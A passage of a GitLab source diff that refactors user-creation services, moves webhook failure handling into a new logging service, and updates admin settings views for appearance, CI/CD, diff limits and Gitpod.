+ !Gitlab::CurrentSettings.send_user_confirmation_email
+ end
+
+ def use_fallback_name?
+ user_params[:name].blank? && fallback_name.present?
+ end
+
+ def fallback_name
+ "#{user_params[:first_name]} #{user_params[:last_name]}"
+ end
+
+ def build_identity
return if identity_params.empty?
user.identities.build(identity_params)
end
- def can_create_user?
- (current_user.nil? && Gitlab::CurrentSettings.allow_signup?) || current_user&.admin?
+ def update_canonical_email
+ Users::UpdateCanonicalEmailService.new(user: user).execute
end
# Allowed params for creating a user (admins only)
@@ -96,69 +177,15 @@ module Users
def signup_params
[
:email,
- :password_automatically_set,
:name,
- :first_name,
- :last_name,
:password,
+ :password_automatically_set,
:username,
- :user_type
+ :user_type,
+ :first_name,
+ :last_name
]
end
-
- def build_user_params
- if current_user&.admin?
- user_params = params.slice(*admin_create_params)
-
- if params[:reset_password]
- user_params.merge!(force_random_password: true, password_expires_at: nil)
- end
- else
- allowed_signup_params = signup_params
- allowed_signup_params << :skip_confirmation if allow_caller_to_request_skip_confirmation?
-
- user_params = params.slice(*allowed_signup_params)
- if assign_skip_confirmation_from_settings?(user_params)
- user_params[:skip_confirmation] = skip_user_confirmation_email_from_setting
- end
-
- fallback_name = "#{user_params[:first_name]} #{user_params[:last_name]}"
-
- if user_params[:name].blank? && fallback_name.present?
- user_params = user_params.merge(name: fallback_name)
- end
- end
-
- user_params[:created_by_id] = current_user&.id
-
- if user_default_internal_regex_enabled? && !user_params.key?(:external)
- user_params[:external] = user_external?
- end
-
- user_params.delete(:user_type) unless project_bot?(user_params[:user_type])
-
- user_params
- end
-
- def allow_caller_to_request_skip_confirmation?
- skip_authorization
- end
-
- def assign_skip_confirmation_from_settings?(user_params)
- user_params[:skip_confirmation].nil?
- end
-
- def skip_user_confirmation_email_from_setting
- !Gitlab::CurrentSettings.send_user_confirmation_email
- end
-
- def user_external?
- user_default_internal_regex_instance.match(params[:email]).nil?
- end
-
- def project_bot?(user_type)
- user_type&.to_sym == :project_bot
- end
end
end
diff --git a/app/services/users/create_service.rb b/app/services/users/create_service.rb
index 757ebd783ee..591d88b275e 100644
--- a/app/services/users/create_service.rb
+++ b/app/services/users/create_service.rb
@@ -9,8 +9,8 @@ module Users
@params = params.dup
end
- def execute(skip_authorization: false)
- user = Users::BuildService.new(current_user, params).execute(skip_authorization: skip_authorization)
+ def execute
+ user = build_class.new(current_user, params).execute
reset_token = user.generate_reset_token if user.recently_sent_password_reset?
after_create_hook(user, reset_token) if user.save
@@ -23,6 +23,11 @@ module Users
def after_create_hook(user, reset_token)
notify_new_user(user, reset_token)
end
+
+ def build_class
+ # overridden by inheriting classes
+ Users::BuildService
+ end
end
end
diff --git a/app/services/users/refresh_authorized_projects_service.rb b/app/services/users/refresh_authorized_projects_service.rb
index d28ff45bfdf..1850fa9747d 100644
--- a/app/services/users/refresh_authorized_projects_service.rb
+++ b/app/services/users/refresh_authorized_projects_service.rb
@@ -24,11 +24,6 @@ module Users
@source = source
@incorrect_auth_found_callback = incorrect_auth_found_callback
@missing_auth_found_callback = missing_auth_found_callback
-
- # We need an up to date User object that has access to all relations that
- # may have been created earlier. The only way to ensure this is to reload
- # the User object.
- user.reset
end
def execute
@@ -43,6 +38,10 @@ module Users
end
begin
+ # We need an up to date User object that has access to all relations that
+ # may have been created earlier. The only way to ensure this is to reload
+ # the User object.
+ user.reset
execute_without_lease
ensure
Gitlab::ExclusiveLease.cancel(lease_key, uuid)
diff --git a/app/services/users/registrations_build_service.rb b/app/services/users/registrations_build_service.rb
index 9d7bf0a7e18..2d367e7b185 100644
--- a/app/services/users/registrations_build_service.rb
+++ b/app/services/users/registrations_build_service.rb
@@ -6,13 +6,12 @@ module Users
private
- override :allow_caller_to_request_skip_confirmation?
- def allow_caller_to_request_skip_confirmation?
- true
+ def signup_params
+ super + [:skip_confirmation]
end
override :assign_skip_confirmation_from_settings?
- def assign_skip_confirmation_from_settings?(user_params)
+ def assign_skip_confirmation_from_settings?
user_params[:skip_confirmation].blank?
end
end
diff --git a/app/services/users/update_assigned_open_issue_count_service.rb b/app/services/users/update_assigned_open_issue_count_service.rb
deleted file mode 100644
index 2ed05853b2f..00000000000
--- a/app/services/users/update_assigned_open_issue_count_service.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module Users
- # Service class for calculating and caching the number of assigned open issues for a user.
- class UpdateAssignedOpenIssueCountService
- attr_accessor :target_user
-
- def initialize(target_user:)
- @target_user = target_user
-
- raise ArgumentError, "Please provide a target user" unless target_user.is_a?(User)
- end
-
- def execute
- value = calculate_count
- Rails.cache.write(cache_key, value, expires_in: User::COUNT_CACHE_VALIDITY_PERIOD)
-
- ServiceResponse.success(payload: { count: value })
- rescue StandardError => e
- ServiceResponse.error(message: e.message)
- end
-
- private
-
- def cache_key
- ['users', target_user.id, 'assigned_open_issues_count']
- end
-
- def calculate_count
- IssuesFinder.new(target_user, assignee_id: target_user.id, state: 'opened', non_archived: true).execute.count
- end
- end
-end
diff --git a/app/services/web_hook_service.rb b/app/services/web_hook_service.rb
index 654d9356739..77d2139b3d1 100644
--- a/app/services/web_hook_service.rb
+++ b/app/services/web_hook_service.rb
@@ -27,18 +27,19 @@ class WebHookService
REQUEST_BODY_SIZE_LIMIT = 25.megabytes
GITLAB_EVENT_HEADER = 'X-Gitlab-Event'
- MAX_FAILURES = 100
attr_accessor :hook, :data, :hook_name, :request_options
+ attr_reader :uniqueness_token
def self.hook_to_event(hook_name)
hook_name.to_s.singularize.titleize
end
- def initialize(hook, data, hook_name)
+ def initialize(hook, data, hook_name, uniqueness_token = nil)
@hook = hook
@data = data
@hook_name = hook_name.to_s
+ @uniqueness_token = uniqueness_token
@request_options = {
timeout: Gitlab.config.gitlab.webhook_timeout,
allow_local_requests: hook.allow_local_requests?
@@ -69,8 +70,7 @@ class WebHookService
http_status: response.code,
message: response.to_s
}
- rescue SocketError, OpenSSL::SSL::SSLError, Errno::ECONNRESET, Errno::ECONNREFUSED, Errno::EHOSTUNREACH,
- Net::OpenTimeout, Net::ReadTimeout, Gitlab::HTTP::BlockedUrlError, Gitlab::HTTP::RedirectionTooDeep,
+ rescue *Gitlab::HTTP::HTTP_ERRORS,
Gitlab::Json::LimitedEncoder::LimitExceeded, URI::InvalidURIError => e
execution_duration = Gitlab::Metrics::System.monotonic_time - start_time
log_execution(
@@ -91,9 +91,9 @@ class WebHookService
end
def async_execute
- if rate_limited?(hook)
- log_rate_limit(hook)
- else
+ Gitlab::ApplicationContext.with_context(hook.application_context) do
+ break log_rate_limit if rate_limited?
+
WebHookWorker.perform_async(hook.id, data, hook_name)
end
end
@@ -123,10 +123,8 @@ class WebHookService
end
def log_execution(trigger:, url:, request_data:, response:, execution_duration:, error_message: nil)
- handle_failure(response, hook)
-
- WebHookLog.create(
- web_hook: hook,
+ category = response_category(response)
+ log_data = {
trigger: trigger,
url: url,
execution_duration: execution_duration,
@@ -136,17 +134,19 @@ class WebHookService
response_body: safe_response_body(response),
response_status: response.code,
internal_error_message: error_message
- )
+ }
+
+ ::WebHooks::LogExecutionWorker
+ .perform_async(hook.id, log_data, category, uniqueness_token)
end
- def handle_failure(response, hook)
+ def response_category(response)
if response.success? || response.redirection?
- hook.enable!
+ :ok
elsif response.internal_server_error?
- next_backoff = hook.next_backoff
- hook.update!(disabled_until: next_backoff.from_now, backoff_count: hook.backoff_count + 1)
+ :error
else
- hook.update!(recent_failures: hook.recent_failures + 1) if hook.recent_failures < MAX_FAILURES
+ :failed
end
end
@@ -175,7 +175,7 @@ class WebHookService
response.body.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')
end
- def rate_limited?(hook)
+ def rate_limited?
return false unless Feature.enabled?(:web_hooks_rate_limit, default_enabled: :yaml)
return false if rate_limit.nil?
@@ -190,18 +190,13 @@ class WebHookService
@rate_limit ||= hook.rate_limit
end
- def log_rate_limit(hook)
- payload = {
+ def log_rate_limit
+ Gitlab::AuthLogger.error(
message: 'Webhook rate limit exceeded',
hook_id: hook.id,
hook_type: hook.type,
- hook_name: hook_name
- }
-
- Gitlab::AuthLogger.error(payload)
-
- # Also log into application log for now, so we can use this information
- # to determine suitable limits for gitlab.com
- Gitlab::AppLogger.error(payload)
+ hook_name: hook_name,
+ **Gitlab::ApplicationContext.current
+ )
end
end
diff --git a/app/services/web_hooks/log_execution_service.rb b/app/services/web_hooks/log_execution_service.rb
new file mode 100644
index 00000000000..6e58e15f093
--- /dev/null
+++ b/app/services/web_hooks/log_execution_service.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module WebHooks
+ class LogExecutionService
+ attr_reader :hook, :log_data, :response_category
+
+ def initialize(hook:, log_data:, response_category:)
+ @hook = hook
+ @log_data = log_data
+ @response_category = response_category
+ end
+
+ def execute
+ update_hook_executability
+ log_execution
+ end
+
+ private
+
+ def log_execution
+ WebHookLog.create!(web_hook: hook, **log_data.transform_keys(&:to_sym))
+ end
+
+ def update_hook_executability
+ case response_category
+ when :ok
+ hook.enable!
+ when :error
+ hook.backoff!
+ when :failed
+ hook.failed!
+ end
+ end
+ end
+end
diff --git a/app/validators/json_schemas/ci_runner_config.json b/app/validators/json_schemas/ci_runner_config.json
new file mode 100644
index 00000000000..af1bcfcb183
--- /dev/null
+++ b/app/validators/json_schemas/ci_runner_config.json
@@ -0,0 +1,9 @@
+{
+ "$schema": "http://json-schema.org/draft-07/schema#",
+ "description": "CI Runner config values",
+ "type": "object",
+ "properties": {
+ "gpus": { "type": "string" }
+ },
+ "additionalProperties": false
+}
diff --git a/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json b/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
index 7c3720dd2e6..20be49f9eae 100644
--- a/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
+++ b/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
@@ -18,15 +18,6 @@
"value": "",
"size": "MEDIUM",
"description": "Comma-separated list of paths to be excluded from analyzer output. Patterns can be globs, file paths, or folder paths."
- },
- {
- "field" : "SAST_ANALYZER_IMAGE_TAG",
- "label" : "Image tag",
- "type": "string",
- "default_value": "",
- "value": "",
- "size": "SMALL",
- "description": "Analyzer image's tag"
}
],
"pipeline": [
@@ -109,20 +100,6 @@
]
},
{
- "name": "kubesec",
- "label": "Kubesec",
- "enabled" : true,
- "description": "Kubernetes manifests, Helm Charts",
- "variables": []
- },
- {
- "name": "nodejs-scan",
- "label": "Node.js Scan",
- "enabled" : true,
- "description": "Node.js",
- "variables": []
- },
- {
"name": "gosec",
"label": "Gosec",
"enabled" : true,
@@ -140,6 +117,20 @@
]
},
{
+ "name": "kubesec",
+ "label": "Kubesec",
+ "enabled" : true,
+ "description": "Kubernetes manifests, Helm Charts",
+ "variables": []
+ },
+ {
+ "name": "nodejs-scan",
+ "label": "Node.js Scan",
+ "enabled" : true,
+ "description": "Node.js",
+ "variables": []
+ },
+ {
"name": "phpcs-security-audit",
"label": "PHP Security Audit",
"enabled" : true,
diff --git a/app/views/admin/appearances/_form.html.haml b/app/views/admin/appearances/_form.html.haml
deleted file mode 100644
index 872a6bef18b..00000000000
--- a/app/views/admin/appearances/_form.html.haml
+++ /dev/null
@@ -1,114 +0,0 @@
-- parsed_with_gfm = (_("Content parsed with %{link}.") % { link: link_to('GitLab Flavored Markdown', help_page_path('user/markdown'), target: '_blank') }).html_safe
-
-= form_for @appearance, url: admin_appearances_path, html: { class: 'gl-mt-3' } do |f|
- = form_errors(@appearance)
-
-
- .row
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0= _('Navigation bar')
-
- .col-lg-8
- .form-group
- = f.label :header_logo, _('Header logo'), class: 'col-form-label label-bold pt-0'
- %p
- - if @appearance.header_logo?
- = image_tag @appearance.header_logo_path, class: 'appearance-light-logo-preview'
- - if @appearance.persisted?
- %br
- = link_to _('Remove header logo'), header_logos_admin_appearances_path, data: { confirm: _("Header logo will be removed. Are you sure?") }, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
- %hr
- = f.hidden_field :header_logo_cache
- = f.file_field :header_logo, class: "", accept: 'image/*'
- .hint
- = _('Maximum file size is 1MB. Pages are optimized for a 28px tall header logo')
- %hr
- .row
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0 Favicon
-
- .col-lg-8
- .form-group
- = f.label :favicon, _('Favicon'), class: 'col-form-label label-bold pt-0'
- %p
- - if @appearance.favicon?
- = image_tag @appearance.favicon_path, class: 'appearance-light-logo-preview'
- - if @appearance.persisted?
- %br
- = link_to _('Remove favicon'), favicon_admin_appearances_path, data: { confirm: _("Favicon will be removed. Are you sure?") }, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
- %hr
- = f.hidden_field :favicon_cache
- = f.file_field :favicon, class: '', accept: 'image/*'
- .hint
- = _("Maximum file size is 1MB. Image size must be 32x32px. Allowed image formats are %{favicon_extension_whitelist}.") % { favicon_extension_whitelist: favicon_extension_whitelist }
- %br
- = _("Images with incorrect dimensions are not resized automatically, and may result in unexpected behavior.")
-
- = render partial: 'admin/appearances/system_header_footer_form', locals: { form: f }
-
- %hr
- .row
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0= _('Sign in/Sign up pages')
-
- .col-lg-8
- .form-group
- = f.label :title, class: 'col-form-label label-bold'
- = f.text_field :title, class: "form-control gl-form-input"
- .form-group
- = f.label :description, class: 'col-form-label label-bold'
- = f.text_area :description, class: "form-control gl-form-input", rows: 10
- .hint
- = parsed_with_gfm
- .form-group
- = f.label :logo, class: 'col-form-label label-bold pt-0'
- %p
- - if @appearance.logo?
- = image_tag @appearance.logo_path, class: 'appearance-logo-preview'
- - if @appearance.persisted?
- %br
- = link_to _('Remove logo'), logo_admin_appearances_path, data: { confirm: _("Logo will be removed. Are you sure?") }, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm remove-logo"
- %hr
- = f.hidden_field :logo_cache
- = f.file_field :logo, class: "", accept: 'image/*'
- .hint
- = _('Maximum file size is 1MB. Pages are optimized for a 640x360 px logo.')
-
- %hr
- .row
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0= _('New project pages')
-
- .col-lg-8
- .form-group
- = f.label :new_project_guidelines, class: 'col-form-label label-bold'
- %p
- = f.text_area :new_project_guidelines, class: "form-control gl-form-input", rows: 10
- .hint
- = parsed_with_gfm
-
- %hr
- .row
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0= _('Profile image guideline')
-
- .col-lg-8
- .form-group
- = f.label :profile_image_guidelines, class: 'col-form-label label-bold'
- %p
- = f.text_area :profile_image_guidelines, class: "form-control gl-form-input", rows: 10
- .hint
- = parsed_with_gfm
-
- .gl-mt-3.gl-mb-3
- = f.submit _('Update appearance settings'), class: 'btn gl-button btn-confirm'
- - if @appearance.persisted? || @appearance.updated_at
- .mt-4
- - if @appearance.persisted?
- Preview last save:
- = link_to _('Sign-in page'), preview_sign_in_admin_appearances_path, class: 'btn', target: '_blank', rel: 'noopener noreferrer'
- = link_to _('New project page'), new_project_path, class: 'btn', target: '_blank', rel: 'noopener noreferrer'
-
- - if @appearance.updated_at
- %span.float-right
- Last edit #{time_ago_with_tooltip(@appearance.updated_at)}
diff --git a/app/views/admin/appearances/preview_sign_in.html.haml b/app/views/admin/appearances/preview_sign_in.html.haml
deleted file mode 100644
index a317611862c..00000000000
--- a/app/views/admin/appearances/preview_sign_in.html.haml
+++ /dev/null
@@ -1,12 +0,0 @@
-= render 'devise/shared/tab_single', tab_title: _('Sign in preview')
-.login-box
- %form.gl-show-field-errors
- .form-group
- = label_tag :login
- = text_field_tag :login, nil, class: "form-control gl-form-input top", title: _('Please provide your username or email address.')
- .form-group
- = label_tag :password
- = password_field_tag :password, nil, class: "form-control gl-form-input bottom", title: _('This field is required.')
- .form-group
- = button_tag _("Sign in"), class: "btn gl-button btn-confirm"
-
diff --git a/app/views/admin/application_settings/_account_and_limit.html.haml b/app/views/admin/application_settings/_account_and_limit.html.haml
index 1e2c9f821d2..eb30efabb98 100644
--- a/app/views/admin/application_settings/_account_and_limit.html.haml
+++ b/app/views/admin/application_settings/_account_and_limit.html.haml
@@ -53,6 +53,14 @@
= _('Specify an e-mail address regex pattern to identify default internal users.')
= link_to _('More information'), help_page_path('user/permissions', anchor: 'setting-new-users-to-external'),
target: '_blank'
+ - unless Gitlab.com?
+ .form-group
+ = f.label :deactivate_dormant_users, _('Dormant users'), class: 'label-bold'
+ .form-check
+ = f.check_box :deactivate_dormant_users, class: 'form-check-input'
+ = f.label :deactivate_dormant_users, class: 'form-check-label' do
+ = _('Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance.')
+ = link_to _('More information'), help_page_path('user/admin_area/moderate_users', anchor: 'automatically-deactivate-dormant-users'), target: '_blank'
.form-group
= f.label :personal_access_token_prefix, _('Personal Access Token prefix'), class: 'label-light'
= f.text_field :personal_access_token_prefix, placeholder: _('Max 20 characters'), class: 'form-control gl-form-input'
diff --git a/app/views/admin/application_settings/_ci_cd.html.haml b/app/views/admin/application_settings/_ci_cd.html.haml
index 0af244d54f3..5ae45d5a9da 100644
--- a/app/views/admin/application_settings/_ci_cd.html.haml
+++ b/app/views/admin/application_settings/_ci_cd.html.haml
@@ -3,15 +3,13 @@
%fieldset
.form-group
- .card.auto-devops-card
- .card-body
- .form-check
- = f.check_box :auto_devops_enabled, class: 'form-check-input'
- = f.label :auto_devops_enabled, class: 'form-check-label' do
- = s_('CICD|Default to Auto DevOps pipeline for all projects')
- .form-text.text-muted
- = s_('CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found.')
- = link_to _('More information'), help_page_path('topics/autodevops/index.md'), target: '_blank'
+ .form-check
+ = f.check_box :auto_devops_enabled, class: 'form-check-input'
+ = f.label :auto_devops_enabled, class: 'form-check-label' do
+ %strong= s_('CICD|Default to Auto DevOps pipeline for all projects')
+ .form-text.text-muted
+ = s_('CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file.')
+ = link_to _('What is Auto DevOps?'), help_page_path('topics/autodevops/index.md'), target: '_blank'
.form-group
= f.label :auto_devops_domain, s_('AdminSettings|Auto DevOps domain'), class: 'label-bold'
= f.text_field :auto_devops_domain, class: 'form-control gl-form-input', placeholder: 'domain.com'
@@ -26,9 +24,9 @@
= render_if_exists 'admin/application_settings/shared_runners_minutes_setting', form: f
.form-group
- = f.label :shared_runners_text, class: 'label-bold'
+ = f.label :shared_runners_text, _('Shared runners details'), class: 'label-bold'
= f.text_area :shared_runners_text, class: 'form-control gl-form-input', rows: 4
- .form-text.text-muted= _("Markdown enabled")
+ .form-text.text-muted= _("Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported.")
.form-group
= f.label :max_artifacts_size, _('Maximum artifacts size (MB)'), class: 'label-bold'
= f.number_field :max_artifacts_size, class: 'form-control gl-form-input'
@@ -58,14 +56,14 @@
.form-check
= f.check_box :protected_ci_variables, class: 'form-check-input'
= f.label :protected_ci_variables, class: 'form-check-label' do
- = s_('AdminSettings|Environment variables are protected by default')
+ %strong= s_('AdminSettings|Protect CI/CD variables by default')
.form-text.text-muted
- = s_('AdminSettings|When creating a new environment variable it will be protected by default.')
+ = s_('AdminSettings|New CI/CD variables in projects and groups default to protected.')
.form-group
- = f.label :ci_config_path, _('Default CI configuration path'), class: 'label-bold'
+ = f.label :ci_config_path, _('Default CI/CD configuration file'), class: 'label-bold'
= f.text_field :default_ci_config_path, class: 'form-control gl-form-input', placeholder: '.gitlab-ci.yml'
%p.form-text.text-muted
- = _("The default CI configuration path for new projects.").html_safe
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-cicd-configuration-path'), target: '_blank'
+ = _("The default CI/CD configuration file and path for new projects.").html_safe
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-cicd-configuration-file'), target: '_blank'
= f.submit _('Save changes'), class: "gl-button btn btn-confirm"
diff --git a/app/views/admin/application_settings/_diff_limits.html.haml b/app/views/admin/application_settings/_diff_limits.html.haml
index 7286fffcaf6..6a51d2e39d4 100644
--- a/app/views/admin/application_settings/_diff_limits.html.haml
+++ b/app/views/admin/application_settings/_diff_limits.html.haml
@@ -3,13 +3,30 @@
%fieldset
.form-group
- = f.label :diff_max_patch_bytes, 'Maximum diff patch size (Bytes)', class: 'label-light'
+ = f.label :diff_max_patch_bytes, _('Maximum diff patch size (Bytes)'), class: 'label-light'
= f.number_field :diff_max_patch_bytes, class: 'form-control gl-form-input'
%span.form-text.text-muted
- Diff files surpassing this limit will be presented as 'too large'
- and won't be expandable.
+ = _("Diff files surpassing this limit will be presented as 'too large' and won't be expandable.")
= link_to sprite_icon('question-o'),
help_page_path('user/admin_area/diff_limits',
- anchor: 'maximum-diff-patch-size')
+ anchor: 'diff-limits-administration')
+
+ = f.label :diff_max_files, _('Maximum files in a diff'), class: 'label-light'
+ = f.number_field :diff_max_files, class: 'form-control gl-form-input'
+ %span.form-text.text-muted
+ = _("Diff files surpassing this limit will be presented as 'too large' and won't be expandable.")
+
+ = link_to sprite_icon('question-o'),
+ help_page_path('user/admin_area/diff_limits',
+ anchor: 'diff-limits-administration')
+
+ = f.label :diff_max_lines, _('Maximum lines in a diff'), class: 'label-light'
+ = f.number_field :diff_max_lines, class: 'form-control gl-form-input'
+ %span.form-text.text-muted
+ = _("Diff files surpassing this limit will be presented as 'too large' and won't be expandable.")
+
+ = link_to sprite_icon('question-o'),
+ help_page_path('user/admin_area/diff_limits',
+ anchor: 'diff-limits-administration')
= f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/admin/application_settings/_gitpod.html.haml b/app/views/admin/application_settings/_gitpod.html.haml
index 6d335e2db16..c08b41e8c55 100644
--- a/app/views/admin/application_settings/_gitpod.html.haml
+++ b/app/views/admin/application_settings/_gitpod.html.haml
@@ -22,7 +22,9 @@
= f.label :gitpod_enabled, s_('Gitpod|Enable Gitpod integration'), class: 'form-check-label'
.form-group
= f.label :gitpod_url, s_('Gitpod|Gitpod URL'), class: 'label-bold'
- = f.text_field :gitpod_url, class: 'form-control gl-form-input', placeholder: s_('Gitpod|e.g. https://gitpod.example.com')
+ = f.text_field :gitpod_url, class: 'form-control gl-form-input', placeholder: s_('Gitpod|https://gitpod.example.com')
.form-text.text-muted
- = s_('Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects.')
+ = s_('Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com.')
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('integration/gitpod', anchor: 'enable-gitpod-in-your-user-settings') }
+ = s_('Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} ').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
= f.submit s_('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/admin/application_settings/appearances/_form.html.haml b/app/views/admin/application_settings/appearances/_form.html.haml
new file mode 100644
index 00000000000..a48b57bffd9
--- /dev/null
+++ b/app/views/admin/application_settings/appearances/_form.html.haml
@@ -0,0 +1,114 @@
+- parsed_with_gfm = (_("Content parsed with %{link}.") % { link: link_to('GitLab Flavored Markdown', help_page_path('user/markdown'), target: '_blank') }).html_safe
+
+= form_for @appearance, url: admin_application_settings_appearances_path, html: { class: 'gl-mt-3' } do |f|
+ = form_errors(@appearance)
+
+
+ .row
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0= _('Navigation bar')
+
+ .col-lg-8
+ .form-group
+ = f.label :header_logo, _('Header logo'), class: 'col-form-label label-bold pt-0'
+ %p
+ - if @appearance.header_logo?
+ = image_tag @appearance.header_logo_path, class: 'appearance-light-logo-preview'
+ - if @appearance.persisted?
+ %br
+ = link_to _('Remove header logo'), header_logos_admin_application_settings_appearances_path, data: { confirm: _("Header logo will be removed. Are you sure?") }, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
+ %hr
+ = f.hidden_field :header_logo_cache
+ = f.file_field :header_logo, class: "", accept: 'image/*'
+ .hint
+ = _('Maximum file size is 1MB. Pages are optimized for a 28px tall header logo')
+ %hr
+ .row
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0 Favicon
+
+ .col-lg-8
+ .form-group
+ = f.label :favicon, _('Favicon'), class: 'col-form-label label-bold pt-0'
+ %p
+ - if @appearance.favicon?
+ = image_tag @appearance.favicon_path, class: 'appearance-light-logo-preview'
+ - if @appearance.persisted?
+ %br
+ = link_to _('Remove favicon'), favicon_admin_application_settings_appearances_path, data: { confirm: _("Favicon will be removed. Are you sure?") }, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
+ %hr
+ = f.hidden_field :favicon_cache
+ = f.file_field :favicon, class: '', accept: 'image/*'
+ .hint
+ = _("Maximum file size is 1MB. Image size must be 32x32px. Allowed image formats are %{favicon_extension_whitelist}.") % { favicon_extension_whitelist: favicon_extension_whitelist }
+ %br
+ = _("Images with incorrect dimensions are not resized automatically, and may result in unexpected behavior.")
+
+ = render partial: 'admin/application_settings/appearances/system_header_footer_form', locals: { form: f }
+
+ %hr
+ .row
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0= _('Sign in/Sign up pages')
+
+ .col-lg-8
+ .form-group
+ = f.label :title, class: 'col-form-label label-bold'
+ = f.text_field :title, class: "form-control gl-form-input"
+ .form-group
+ = f.label :description, class: 'col-form-label label-bold'
+ = f.text_area :description, class: "form-control gl-form-input", rows: 10
+ .hint
+ = parsed_with_gfm
+ .form-group
+ = f.label :logo, class: 'col-form-label label-bold pt-0'
+ %p
+ - if @appearance.logo?
+ = image_tag @appearance.logo_path, class: 'appearance-logo-preview'
+ - if @appearance.persisted?
+ %br
+ = link_to _('Remove logo'), logo_admin_application_settings_appearances_path, data: { confirm: _("Logo will be removed. Are you sure?") }, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm remove-logo"
+ %hr
+ = f.hidden_field :logo_cache
+ = f.file_field :logo, class: "", accept: 'image/*'
+ .hint
+ = _('Maximum file size is 1MB. Pages are optimized for a 640x360 px logo.')
+
+ %hr
+ .row
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0= _('New project pages')
+
+ .col-lg-8
+ .form-group
+ = f.label :new_project_guidelines, class: 'col-form-label label-bold'
+ %p
+ = f.text_area :new_project_guidelines, class: "form-control gl-form-input", rows: 10
+ .hint
+ = parsed_with_gfm
+
+ %hr
+ .row
+ .col-lg-4.profile-settings-sidebar
+ %h4.gl-mt-0= _('Profile image guideline')
+
+ .col-lg-8
+ .form-group
+ = f.label :profile_image_guidelines, class: 'col-form-label label-bold'
+ %p
+ = f.text_area :profile_image_guidelines, class: "form-control gl-form-input", rows: 10
+ .hint
+ = parsed_with_gfm
+
+ .gl-mt-3.gl-mb-3
+ = f.submit _('Update appearance settings'), class: 'btn gl-button btn-confirm'
+ - if @appearance.persisted? || @appearance.updated_at
+ .mt-4
+ - if @appearance.persisted?
+ Preview last save:
+ = link_to _('Sign-in page'), preview_sign_in_admin_application_settings_appearances_path, class: 'btn', target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('New project page'), new_project_path, class: 'btn', target: '_blank', rel: 'noopener noreferrer'
+
+ - if @appearance.updated_at
+ %span.float-right
+ Last edit #{time_ago_with_tooltip(@appearance.updated_at)}
diff --git a/app/views/admin/appearances/_system_header_footer_form.html.haml b/app/views/admin/application_settings/appearances/_system_header_footer_form.html.haml
index 4571d34a497..4571d34a497 100644
--- a/app/views/admin/appearances/_system_header_footer_form.html.haml
+++ b/app/views/admin/application_settings/appearances/_system_header_footer_form.html.haml
diff --git a/app/views/admin/application_settings/appearances/preview_sign_in.html.haml b/app/views/admin/application_settings/appearances/preview_sign_in.html.haml
new file mode 100644
index 00000000000..77c37abbeef
--- /dev/null
+++ b/app/views/admin/application_settings/appearances/preview_sign_in.html.haml
@@ -0,0 +1,12 @@
+= render 'devise/shared/tab_single', tab_title: _('Sign in preview')
+.login-box
+ %form.gl-show-field-errors
+ .form-group
+ = label_tag :login
+ = text_field_tag :login, nil, class: "form-control gl-form-input top", title: _('Please provide your username or email address.')
+ .form-group
+ = label_tag :password
+ = password_field_tag :password, nil, class: "form-control gl-form-input bottom", title: _('This field is required.')
+ .form-group
+ = button_tag _("Sign in"), class: "btn gl-button btn-confirm", type: "button"
+
diff --git a/app/views/admin/appearances/show.html.haml b/app/views/admin/application_settings/appearances/show.html.haml
index 77a08913666..77a08913666 100644
--- a/app/views/admin/appearances/show.html.haml
+++ b/app/views/admin/application_settings/appearances/show.html.haml
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index 919f501d2ee..40486e9a9e6 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
- = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'add-a-cicd-variable-to-an-instance'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
diff --git a/app/views/admin/application_settings/ci_cd.html.haml b/app/views/admin/application_settings/ci_cd.html.haml
index d38b4cba40a..127ab8ea1f4 100644
--- a/app/views/admin/application_settings/ci_cd.html.haml
+++ b/app/views/admin/application_settings/ci_cd.html.haml
